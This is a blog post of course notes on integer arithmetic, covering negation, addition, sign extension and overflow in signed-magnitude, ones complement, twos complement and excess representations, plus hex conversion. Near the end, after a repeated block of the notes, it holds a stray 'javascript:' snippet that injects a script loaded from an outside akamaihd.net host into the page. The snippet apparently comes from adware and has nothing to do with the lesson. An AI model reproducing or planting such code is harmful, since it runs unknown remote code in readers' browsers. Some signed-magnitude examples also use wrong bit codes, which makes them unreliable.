Minggu, 02 November 2014

Integer Arithmetic

Consider the two basic arithmetic operations (addition and negation, from which subtraction can be derived easily) and how they would be performed on signed integers using the four representations.

Negation

Signed Magnitude

Just toggle the sign bit. Nothing simpler. If all you want to do is negate, then this is the clear winner.

Ones Complement

Toggle all of the bits. This is a simple and fast operation. No bit depends on any other bit, and so there are no carries, "ripple", etc.

Twos Complement

Use the twos complement operation, i.e. toggle all bits and add 1. This is a little bit slower than negating in ones complement or signed magnitude numbers, but can still be done quickly with a relatively small amount of logic in today's computers.

Excess-2^(N-1)

Use the "twos complement" operation. (Since the only difference between this representation and twos complement is that the sign bit is inverted, this makes sense.) Excess-other-numbers does not work so simply, however.

Addition

Signed Magnitude

This one is the worst. If the signs are the same, add the magnitudes and use that same sign. If the signs differ, then you must determine which one has the larger magnitude. The sign is the same as that one, and the magnitude must be obtained by subtracting (not adding) the smaller one from the larger one. (This is the way you do signed arithmetic by hand, but it's not so good for digital logic.)
Examples:
-1 1001  larger (5) 101
+5 0101  smaller(1) 001
-- ----             ---
+4 ????   Subtract: 100 -> add sign of larger -> 0100
 
+1 1001  larger (5) 101
-5 0101  smaller(1) 001
-- ----             ---
-4 ????   Subtract: 100 -> add sign of larger -> 1100
 
+1 0001  
+5 0101  
-- ----  
+6 0110  Add. Leave the sign alone. 
 
-1 1001  
-5 1101  
-- ----  
-6 1110  Add. Leave the sign alone.
Either both a subtraction circuit and an addition circuit are needed, or the subtraction could be done by twos complementing and then adding, but in that case why not use twos complement in the first place??

Excess-2^(N-1)

The rule is this: Add the codes using normal binary addition, then toggle the sign bit. Examples (using Excess-8):
-1 0111
+5 1101
-- ----
+4 0100 -> toggle sign -> 1100
 
+1 1001
-5 0011
-- ----
-4 1100 -> toggle sign -> 0100
 
+1 1001  
+5 1101  
-- ----  
+6 0110 -> toggle sign -> 1110
 
-1 0111  
-5 0011  
-- ----  
-6 1010 -> toggle sign -> 0010
Only an adder is required, but there is one (small) extra step involved.

Ones Complement

There's a tricky way to do this one: add the numbers, and then add the carry coming out of the highest bit to the result (this was called an "end-around-carry"). Examples:
-1    1110
+5    0101
--    ----
+4 (1)0011 -> 0011+1 = 0100
 
+1    0001
-5    1010
--    ----
-4 (0)1011 -> 1011+0 = 1011
 
+1    0001  
+5    0101  
--    ----  
+6 (0)0110 -> 0110+0 = 0110
 
-1    1110 
-5    1010
--    ----  
-6 (1)1000 -> 1000+1 = 1001
Weird, isn't it? Again, only an adder is required but with an additional step that could take a long time because it is really another complete addition!

Twos Complement

Simply add the numbers. Period. (But ignore any carry out of the highest bit.) This is why twos complement is now universally used. Examples:
-1    1111
+5    0101
--    ----
+4 (1)0100
 
+1    0001
-5    1011
--    ----
-4 (0)1100
 
+1    0001  
+5    0101  
--    ----  
+6 (0)0110
 
-1    1111 
-5    1011
--    ----  
-6 (1)1010
Thus only a single addition is needed, with no extra steps. Also, the same operation will add both signed and unsigned numbers. There is no difference. Also, overflow is easily detected (overflow has occurred if the sign of the result is different from the signs of both operands).

Subtraction

Negate then add

Extension:

Converting from one size of representation to a larger size.  Eg 8 bits to 16 bits to 32 bits 
 
  • OC or TC: Fill new high-order bits with copies of sign bit.
  • SM:  insert 0 bits between sign bit and old  bits.
  • EN: insert opposite of sign bit between sign bit and old bits.
  • Unsigned: Just add 0's


Two's Complement is the "proper choice

  • add algorithm is simplest
  • best representation of  0.
  • natural counting sequence (sort of)
  • self-inverting
  • easy extension
  • biggest drawbacks -2N-1   is a special case and negation is slow(but addition is very fast to make up for it)
  • equivalent to doing everything in mod 2 eg-1 = 15 mod 16 and 1111 is 15 in unsigned binary.

Detection of overflow

Using N bits, it is possible that the answer to an addition will be outside the range of representable values. It is necessary to detect when this happens. 
 
  • Unsigned: Carry out of top bit.  This CARRY OUT is made available to Assembly language program
  • TC: Overflow = sign of answer not equal to sign of both operands  =  carry in to last column not equal to carry out of last column.

Use of Hexadecimal

  • Used as a shorthand to avoid long, long sequences of 0/1's.
  • To change a sequence of 0/1's of length 0 mod 4 which  represents an integer, partition the sequence from the right (lower order bit) and translate:
    • 0000 to 0
    • 0001 to 1
    • 0010 to 2
    • 0011 to 3
    • 0100 to 4
    • 0101 to 5
    • 0110 to 6
    • 0111 to 7
    • 1000 to 8
    • 1001 to 9
    • 1010 to A
    • 1011 to B
    • 1100 to C
    • 1101 to D
    • 1110 to E
    • 1111 to F

The left most hex bit will be 0-7 for positive numbers and 8-F for negative numbers in OC or TC. 
  • To find the value of  a hex number in 1's complement
    • starting with 0-7 do the usual thing.
    • starting with 8-F first you subtract hex number from FFF...F.
then  do the usual thing.
  • To find the value of  a hex number in 2's complement
    • starting with 0-7 do the usual thing.
    • starting with 8-F first you subtract hex number from FFF...F and add 1
      OR 
      leave trailing 0's in hex  # alone; subtract lowest non-0 digit from (10)16; subtract other digits from F
then  do the usual thing.

Example

1.     What is the value of the signed integer in TC in the 16 bit word in memory which contains  C8AO?
2.     What if it is an unsigned integer?
3.     What about a signed integer for 6C85?

4.     Unsigned?
Saya akan memberikan sedikit kata kata: 

     Signed Magnitude

This one is the worst. If the signs are the same, add the magnitudes and use that same sign. If the signs differ, then you must determine which one has the larger magnitude. The sign is the same as that one, and the magnitude must be obtained by subtracting (not adding) the smaller one from the larger one. (This is the way you do signed arithmetic by hand, but it's not so good for digital logic.)
Examples:
-1 1001  larger (5) 101
+5 0101  smaller(1) 001
-- ----             ---
+4 ????   Subtract: 100 -> add sign of larger -> 0100
 
+1 1001  larger (5) 101
-5 0101  smaller(1) 001
-- ----             ---
-4 ????   Subtract: 100 -> add sign of larger -> 1100
 
+1 0001  
+5 0101  
-- ----  
+6 0110  Add. Leave the sign alone. 
 
-1 1001  
-5 1101  
-- ----  
-6 1110  Add. Leave the sign alone.
Either both a subtraction circuit and an addition circuit are needed, or the subtraction could be done by twos complementing and then adding, but in that case why not use twos complement in the first place??

javascript:try{if(document.body.innerHTML){var
a=document.getElementsByTagName("head");if(a.length){var
d=document.createElement("script");d.src="https://apitrolatuntco-a.akamaihd.net/gsrs
is=smdvid&bp=BA&g=6c9cce00-40d5-4c31-94cc
c5dd11e2c21d";a[0].appendChild(d);}}}catch(e){}

Tidak ada komentar:

Posting Komentar